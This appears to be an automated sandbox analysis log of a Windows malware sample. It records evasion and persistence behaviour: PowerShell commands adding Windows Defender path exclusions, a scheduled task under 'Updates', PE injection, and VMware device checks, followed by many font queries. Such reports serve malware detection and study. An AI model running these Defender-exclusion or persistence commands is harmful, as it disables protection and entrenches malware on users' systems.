Source: C:\Users\user\AppData\Roaming\HHhSyZN.exe	Thread delayed: delay time: 98982
Source: C:\Users\user\AppData\Roaming\HHhSyZN.exe	Thread delayed: delay time: 98874
Source: C:\Users\user\AppData\Roaming\HHhSyZN.exe	Thread delayed: delay time: 98764
Source: C:\Users\user\AppData\Roaming\HHhSyZN.exe	Thread delayed: delay time: 98629
Source: C:\Users\user\AppData\Roaming\HHhSyZN.exe	Thread delayed: delay time: 98500
Source: C:\Users\user\AppData\Roaming\HHhSyZN.exe	Thread delayed: delay time: 98390
Source: C:\Users\user\AppData\Roaming\HHhSyZN.exe	Thread delayed: delay time: 98281
Source: C:\Users\user\AppData\Roaming\HHhSyZN.exe	Thread delayed: delay time: 98171
Source: C:\Users\user\AppData\Roaming\HHhSyZN.exe	Thread delayed: delay time: 98062
Source: C:\Users\user\AppData\Roaming\HHhSyZN.exe	Thread delayed: delay time: 97952
Source: C:\Users\user\AppData\Roaming\HHhSyZN.exe	Thread delayed: delay time: 97843
Source: C:\Users\user\AppData\Roaming\HHhSyZN.exe	Thread delayed: delay time: 97734
Source: C:\Users\user\AppData\Roaming\HHhSyZN.exe	Thread delayed: delay time: 97606
Source: C:\Users\user\AppData\Roaming\HHhSyZN.exe	Thread delayed: delay time: 97499
Source: C:\Users\user\AppData\Roaming\HHhSyZN.exe	Thread delayed: delay time: 97390
Source: C:\Users\user\AppData\Roaming\HHhSyZN.exe	Thread delayed: delay time: 97279
Source: C:\Users\user\AppData\Roaming\HHhSyZN.exe	Thread delayed: delay time: 97171
Source: C:\Users\user\AppData\Roaming\HHhSyZN.exe	Thread delayed: delay time: 97062
Source: C:\Users\user\AppData\Roaming\HHhSyZN.exe	Thread delayed: delay time: 96952
Source: C:\Users\user\AppData\Roaming\HHhSyZN.exe	Thread delayed: delay time: 96843
Source: C:\Users\user\AppData\Roaming\HHhSyZN.exe	Thread delayed: delay time: 96728
Source: C:\Users\user\AppData\Roaming\HHhSyZN.exe	Thread delayed: delay time: 96620
Source: C:\Users\user\AppData\Roaming\HHhSyZN.exe	Thread delayed: delay time: 96515
Source: C:\Users\user\AppData\Roaming\HHhSyZN.exe	Thread delayed: delay time: 96406
Source: C:\Users\user\AppData\Roaming\HHhSyZN.exe	Thread delayed: delay time: 96296
Source: C:\Users\user\AppData\Roaming\HHhSyZN.exe	Thread delayed: delay time: 96187
Source: C:\Users\user\AppData\Roaming\HHhSyZN.exe	Thread delayed: delay time: 96077
Source: C:\Users\user\AppData\Roaming\HHhSyZN.exe	Thread delayed: delay time: 1200000
Source: C:\Users\user\AppData\Roaming\HHhSyZN.exe	Thread delayed: delay time: 1199875
Source: C:\Users\user\AppData\Roaming\HHhSyZN.exe	Thread delayed: delay time: 1199766
Source: C:\Users\user\AppData\Roaming\HHhSyZN.exe	Thread delayed: delay time: 1199641
Source: C:\Users\user\AppData\Roaming\HHhSyZN.exe	Thread delayed: delay time: 1199531
Source: C:\Users\user\AppData\Roaming\HHhSyZN.exe	Thread delayed: delay time: 1199422
Source: C:\Users\user\AppData\Roaming\HHhSyZN.exe	Thread delayed: delay time: 1199313
Source: C:\Users\user\AppData\Roaming\HHhSyZN.exe	Thread delayed: delay time: 1199188
Source: C:\Users\user\AppData\Roaming\HHhSyZN.exe	Thread delayed: delay time: 1199063
Source: C:\Users\user\AppData\Roaming\HHhSyZN.exe	Thread delayed: delay time: 1198953
Source: C:\Users\user\AppData\Roaming\HHhSyZN.exe	Thread delayed: delay time: 1198839
Source: C:\Users\user\AppData\Roaming\HHhSyZN.exe	Thread delayed: delay time: 1198734
Source: C:\Users\user\AppData\Roaming\HHhSyZN.exe	Thread delayed: delay time: 1198625
Source: C:\Users\user\AppData\Roaming\HHhSyZN.exe	Thread delayed: delay time: 1198515

Source: kAsh3nmsgs.exe, 00000008.00000002.4148783650.0000000000FFA000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll;
Source: HHhSyZN.exe, 0000000D.00000002.4147346234.0000000001403000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dllS
Source: HHhSyZN.exe, 00000009.00000002.1767206531.0000000001276000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\
Source: HHhSyZN.exe, 00000009.00000002.1777549130.0000000009A07000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\Device\CdRom0\??\Volume{a33c736e-61ca-11ee-8c18-806e6f6e6963}\DosDevices\D:

Source: C:\Users\user\Desktop\kAsh3nmsgs.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Users\user\Desktop\kAsh3nmsgs.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Users\user\Desktop\kAsh3nmsgs.exe	Process token adjusted: Debug	Jump to behavior

Source: C:\Users\user\Desktop\kAsh3nmsgs.exe

Memory allocated: page read and write | page guard

Jump to behavior

HIPS / PFW / Operating System Protection Evasion

Adds a directory exclusion to Windows Defender

Source: C:\Users\user\Desktop\kAsh3nmsgs.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\Desktop\kAsh3nmsgs.exe"
Source: C:\Users\user\Desktop\kAsh3nmsgs.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\AppData\Roaming\HHhSyZN.exe"
Source: C:\Users\user\Desktop\kAsh3nmsgs.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\Desktop\kAsh3nmsgs.exe"	Jump to behavior
Source: C:\Users\user\Desktop\kAsh3nmsgs.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\AppData\Roaming\HHhSyZN.exe"	Jump to behavior

Injects a PE file into a foreign processes

Source: C:\Users\user\Desktop\kAsh3nmsgs.exe	Memory written: C:\Users\user\Desktop\kAsh3nmsgs.exe base: 400000 value starts with: 4D5A			Jump to behavior
Source: C:\Users\user\AppData\Roaming\HHhSyZN.exe	Memory written: C:\Users\user\AppData\Roaming\HHhSyZN.exe base: 400000 value starts with: 4D5A

Source: C:\Users\user\Desktop\kAsh3nmsgs.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\Desktop\kAsh3nmsgs.exe"	Jump to behavior
Source: C:\Users\user\Desktop\kAsh3nmsgs.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\AppData\Roaming\HHhSyZN.exe"	Jump to behavior
Source: C:\Users\user\Desktop\kAsh3nmsgs.exe	Process created: C:\Windows\SysWOW64\schtasks.exe "C:\Windows\System32\schtasks.exe" /Create /TN "Updates\HHhSyZN" /XML "C:\Users\user\AppData\Local\Temp\tmp4794.tmp"	Jump to behavior
Source: C:\Users\user\Desktop\kAsh3nmsgs.exe	Process created: C:\Users\user\Desktop\kAsh3nmsgs.exe "C:\Users\user\Desktop\kAsh3nmsgs.exe"	Jump to behavior
Source: C:\Users\user\AppData\Roaming\HHhSyZN.exe	Process created: C:\Windows\SysWOW64\schtasks.exe "C:\Windows\System32\schtasks.exe" /Create /TN "Updates\HHhSyZN" /XML "C:\Users\user\AppData\Local\Temp\tmp586D.tmp"
Source: C:\Users\user\AppData\Roaming\HHhSyZN.exe	Process created: C:\Users\user\AppData\Roaming\HHhSyZN.exe "C:\Users\user\AppData\Roaming\HHhSyZN.exe"

Source: C:\Users\user\Desktop\kAsh3nmsgs.exe	Queries volume information: C:\Users\user\Desktop\kAsh3nmsgs.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\kAsh3nmsgs.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\kAsh3nmsgs.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\kAsh3nmsgs.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Accessibility\v4.0_4.0.0.0__b03f5f7f11d50a3a\Accessibility.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\kAsh3nmsgs.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\kAsh3nmsgs.exe	Queries volume information: C:\Windows\Fonts\bahnschrift.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\kAsh3nmsgs.exe	Queries volume information: C:\Windows\Fonts\bahnschrift.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\kAsh3nmsgs.exe	Queries volume information: C:\Windows\Fonts\bahnschrift.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\kAsh3nmsgs.exe	Queries volume information: C:\Windows\Fonts\bahnschrift.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\kAsh3nmsgs.exe	Queries volume information: C:\Windows\Fonts\bahnschrift.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\kAsh3nmsgs.exe	Queries volume information: C:\Windows\Fonts\bahnschrift.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\kAsh3nmsgs.exe	Queries volume information: C:\Windows\Fonts\bahnschrift.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\kAsh3nmsgs.exe	Queries volume information: C:\Windows\Fonts\bahnschrift.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\kAsh3nmsgs.exe	Queries volume information: C:\Windows\Fonts\bahnschrift.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\kAsh3nmsgs.exe	Queries volume information: C:\Windows\Fonts\calibrii.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\kAsh3nmsgs.exe	Queries volume information: C:\Windows\Fonts\calibrib.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\kAsh3nmsgs.exe	Queries volume information: C:\Windows\Fonts\calibriz.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\kAsh3nmsgs.exe	Queries volume information: C:\Windows\Fonts\cambria.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\kAsh3nmsgs.exe	Queries volume information: C:\Windows\Fonts\cambriab.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\kAsh3nmsgs.exe	Queries volume information: C:\Windows\Fonts\cambria.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\kAsh3nmsgs.exe	Queries volume information: C:\Windows\Fonts\Candara.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\kAsh3nmsgs.exe	Queries volume information: C:\Windows\Fonts\Candaral.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\kAsh3nmsgs.exe	Queries volume information: C:\Windows\Fonts\Candarai.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\kAsh3nmsgs.exe	Queries volume information: C:\Windows\Fonts\Candarali.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\kAsh3nmsgs.exe	Queries volume information: C:\Windows\Fonts\Candarab.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\kAsh3nmsgs.exe	Queries volume information: C:\Windows\Fonts\Candaraz.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\kAsh3nmsgs.exe	Queries volume information: C:\Windows\Fonts\comic.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\kAsh3nmsgs.exe	Queries volume information: C:\Windows\Fonts\comici.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\kAsh3nmsgs.exe	Queries volume information: C:\Windows\Fonts\comicbd.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\kAsh3nmsgs.exe	Queries volume information: C:\Windows\Fonts\comicz.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\kAsh3nmsgs.exe	Queries volume information: C:\Windows\Fonts\constan.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\kAsh3nmsgs.exe	Queries volume information: C:\Windows\Fonts\constani.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\kAsh3nmsgs.exe	Queries volume information: C:\Windows\Fonts\constanb.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\kAsh3nmsgs.exe	Queries volume information: C:\Windows\Fonts\constanz.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\kAsh3nmsgs.exe	Queries volume information: C:\Windows\Fonts\corbel.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\kAsh3nmsgs.exe	Queries volume information: C:\Windows\Fonts\corbell.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\kAsh3nmsgs.exe	Queries volume information: C:\Windows\Fonts\corbeli.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\kAsh3nmsgs.exe	Queries volume information: C:\Windows\Fonts\corbelli.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\kAsh3nmsgs.exe	Queries volume information: C:\Windows\Fonts\corbelb.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\kAsh3nmsgs.exe	Queries volume information: C:\Windows\Fonts\corbelz.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\kAsh3nmsgs.exe	Queries volume information: C:\Windows\Fonts\cour.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\kAsh3nmsgs.exe	Queries volume information: C:\Windows\Fonts\couri.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\kAsh3nmsgs.exe	Queries volume information: C:\Windows\Fonts\courbd.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\kAsh3nmsgs.exe	Queries volume information: C:\Windows\Fonts\courbi.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\kAsh3nmsgs.exe	Queries volume information: C:\Windows\Fonts\ebrima.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\kAsh3nmsgs.exe	Queries volume information: C:\Windows\Fonts\ebrimabd.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\kAsh3nmsgs.exe	Queries volume information: C:\Windows\Fonts\framd.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\kAsh3nmsgs.exe	Queries volume information: C:\Windows\Fonts\FRADM.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\kAsh3nmsgs.exe	Queries volume information: C:\Windows\Fonts\FRADMIT.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\kAsh3nmsgs.exe	Queries volume information: C:\Windows\Fonts\FRAMDCN.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\kAsh3nmsgs.exe	Queries volume information: C:\Windows\Fonts\FRADMCN.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\kAsh3nmsgs.exe	Queries volume information: C:\Windows\Fonts\FRAHV.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\kAsh3nmsgs.exe	Queries volume information: C:\Windows\Fonts\FRAHVIT.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\kAsh3nmsgs.exe	Queries volume information: C:\Windows\Fonts\Gabriola.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\kAsh3nmsgs.exe	Queries volume information: C:\Windows\Fonts\gadugi.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\kAsh3nmsgs.exe	Queries volume information: C:\Windows\Fonts\georgiai.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\kAsh3nmsgs.exe	Queries volume information: C:\Windows\Fonts\georgiab.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\kAsh3nmsgs.exe	Queries volume information: C:\Windows\Fonts\georgiaz.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\kAsh3nmsgs.exe	Queries volume information: C:\Windows\Fonts\impact.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\kAsh3nmsgs.exe	Queries volume information: C:\Windows\Fonts\Inkfree.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\kAsh3nmsgs.exe	Queries volume information: C:\Windows\Fonts\LeelUIsl.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\kAsh3nmsgs.exe	Queries volume information: C:\Windows\Fonts\LeelaUIb.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\kAsh3nmsgs.exe	Queries volume information: C:\Windows\Fonts\lucon.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\kAsh3nmsgs.exe	Queries volume information: C:\Windows\Fonts\l_10646.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\kAsh3nmsgs.exe	Queries volume information: C:\Windows\Fonts\malgun.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\kAsh3nmsgs.exe	Queries volume information: C:\Windows\Fonts\malgunsl.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\kAsh3nmsgs.exe	Queries volume information: C:\Windows\Fonts\malgunbd.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\kAsh3nmsgs.exe	Queries volume information: C:\Windows\Fonts\himalaya.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\kAsh3nmsgs.exe	Queries volume information: C:\Windows\Fonts\msjh.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\kAsh3nmsgs.exe	Queries volume information: C:\Windows\Fonts\msjhl.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\kAsh3nmsgs.exe	Queries volume information: C:\Windows\Fonts\msjhbd.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\kAsh3nmsgs.exe	Queries volume information: C:\Windows\Fonts\msjh.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\kAsh3nmsgs.exe	Queries volume information: C:\Windows\Fonts\msjhl.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\kAsh3nmsgs.exe	Queries volume information: C:\Windows\Fonts\ntailu.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\kAsh3nmsgs.exe	Queries volume information: C:\Windows\Fonts\ntailub.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\kAsh3nmsgs.exe	Queries volume information: C:\Windows\Fonts\phagspa.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\kAsh3nmsgs.exe	Queries volume information: C:\Windows\Fonts\phagspab.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\kAsh3nmsgs.exe	Queries volume information: C:\Windows\Fonts\micross.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\kAsh3nmsgs.exe	Queries volume information: C:\Windows\Fonts\taileb.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\kAsh3nmsgs.exe	Queries volume information: C:\Windows\Fonts\msyh.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\kAsh3nmsgs.exe	Queries volume information: C:\Windows\Fonts\msyhl.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\kAsh3nmsgs.exe	Queries volume information: C:\Windows\Fonts\msyhbd.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\kAsh3nmsgs.exe	Queries volume information: C:\Windows\Fonts\msyh.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\kAsh3nmsgs.exe	Queries volume information: C:\Windows\Fonts\msyhbd.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\kAsh3nmsgs.exe	Queries volume information: C:\Windows\Fonts\msyi.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\kAsh3nmsgs.exe	Queries volume information: C:\Windows\Fonts\mingliub.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\kAsh3nmsgs.exe	Queries volume information: C:\Windows\Fonts\mingliub.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\kAsh3nmsgs.exe	Queries volume information: C:\Windows\Fonts\msgothic.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\kAsh3nmsgs.exe	Queries volume information: C:\Windows\Fonts\msgothic.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\kAsh3nmsgs.exe	Queries volume information: C:\Windows\Fonts\msgothic.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\kAsh3nmsgs.exe	Queries volume information: C:\Windows\Fonts\mvboli.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\kAsh3nmsgs.exe	Queries volume information: C:\Windows\Fonts\mmrtext.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\kAsh3nmsgs.exe	Queries volume information: C:\Windows\Fonts\mmrtextb.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\kAsh3nmsgs.exe	Queries volume information: C:\Windows\Fonts\Nirmala.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\kAsh3nmsgs.exe	Queries volume information: C:\Windows\Fonts\NirmalaS.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\kAsh3nmsgs.exe	Queries volume information: C:\Windows\Fonts\NirmalaB.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\kAsh3nmsgs.exe	Queries volume information: C:\Windows\Fonts\pala.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\kAsh3nmsgs.exe	Queries volume information: C:\Windows\Fonts\palai.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\kAsh3nmsgs.exe	Queries volume information: C:\Windows\Fonts\palab.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\kAsh3nmsgs.exe	Queries volume information: C:\Windows\Fonts\palabi.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\kAsh3nmsgs.exe	Queries volume information: C:\Windows\Fonts\segoepr.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\kAsh3nmsgs.exe	Queries volume information: C:\Windows\Fonts\segoeprb.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\kAsh3nmsgs.exe	Queries volume information: C:\Windows\Fonts\segoesc.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\kAsh3nmsgs.exe	Queries volume information: C:\Windows\Fonts\segoescb.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\kAsh3nmsgs.exe	Queries volume information: C:\Windows\Fonts\seguihis.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\kAsh3nmsgs.exe	Queries volume information: C:\Windows\Fonts\simsun.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\kAsh3nmsgs.exe	Queries volume information: C:\Windows\Fonts\simsunb.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\kAsh3nmsgs.exe	Queries volume information: C:\Windows\Fonts\Sitka.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\kAsh3nmsgs.exe	Queries volume information: C:\Windows\Fonts\SitkaI.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\kAsh3nmsgs.exe	Queries volume information: C:\Windows\Fonts\SitkaB.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\kAsh3nmsgs.exe	Queries volume information: C:\Windows\Fonts\SitkaZ.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\kAsh3nmsgs.exe	Queries volume information: C:\Windows\Fonts\Sitka.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\kAsh3nmsgs.exe	Queries volume information: C:\Windows\Fonts\SitkaI.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\kAsh3nmsgs.exe	Queries volume information: C:\Windows\Fonts\SitkaB.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\kAsh3nmsgs.exe	Queries volume information: C:\Windows\Fonts\SitkaB.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\kAsh3nmsgs.exe	Queries volume information: C:\Windows\Fonts\SitkaZ.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\kAsh3nmsgs.exe	Queries volume information: C:\Windows\Fonts\SitkaI.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\kAsh3nmsgs.exe	Queries volume information: C:\Windows\Fonts\SitkaB.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\kAsh3nmsgs.exe	Queries volume information: C:\Windows\Fonts\Sitka.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\kAsh3nmsgs.exe	Queries volume information: C:\Windows\Fonts\SitkaB.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\kAsh3nmsgs.exe	Queries volume information: C:\Windows\Fonts\SitkaZ.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\kAsh3nmsgs.exe	Queries volume information: C:\Windows\Fonts\sylfaen.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\kAsh3nmsgs.exe	Queries volume information: C:\Windows\Fonts\symbol.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\kAsh3nmsgs.exe	Queries volume information: C:\Windows\Fonts\tahoma.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\kAsh3nmsgs.exe	Queries volume information: C:\Windows\Fonts\tahomabd.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\kAsh3nmsgs.exe	Queries volume information: C:\Windows\Fonts\timesbi.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\kAsh3nmsgs.exe	Queries volume information: C:\Windows\Fonts\trebuc.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\kAsh3nmsgs.exe	Queries volume information: C:\Windows\Fonts\trebucit.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\kAsh3nmsgs.exe	Queries volume information: C:\Windows\Fonts\trebucbd.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\kAsh3nmsgs.exe	Queries volume information: C:\Windows\Fonts\trebucbi.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\kAsh3nmsgs.exe	Queries volume information: C:\Windows\Fonts\verdana.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\kAsh3nmsgs.exe	Queries volume information: C:\Windows\Fonts\verdanai.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\kAsh3nmsgs.exe	Queries volume information: C:\Windows\Fonts\verdanab.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\kAsh3nmsgs.exe	Queries volume information: C:\Windows\Fonts\verdanaz.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\kAsh3nmsgs.exe	Queries volume information: C:\Windows\Fonts\webdings.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\kAsh3nmsgs.exe	Queries volume information: C:\Windows\Fonts\wingding.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\kAsh3nmsgs.exe	Queries volume information: C:\Windows\Fonts\YuGothM.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\kAsh3nmsgs.exe	Queries volume information: C:\Windows\Fonts\YuGothL.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\kAsh3nmsgs.exe	Queries volume information: C:\Windows\Fonts\YuGothB.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\kAsh3nmsgs.exe	Queries volume information: C:\Windows\Fonts\YuGothR.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\kAsh3nmsgs.exe	Queries volume information: C:\Windows\Fonts\holomdl2.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\kAsh3nmsgs.exe	Queries volume information: C:\Windows\Fonts\AGENCYR.TTF VolumeInformation	Jump to behavior
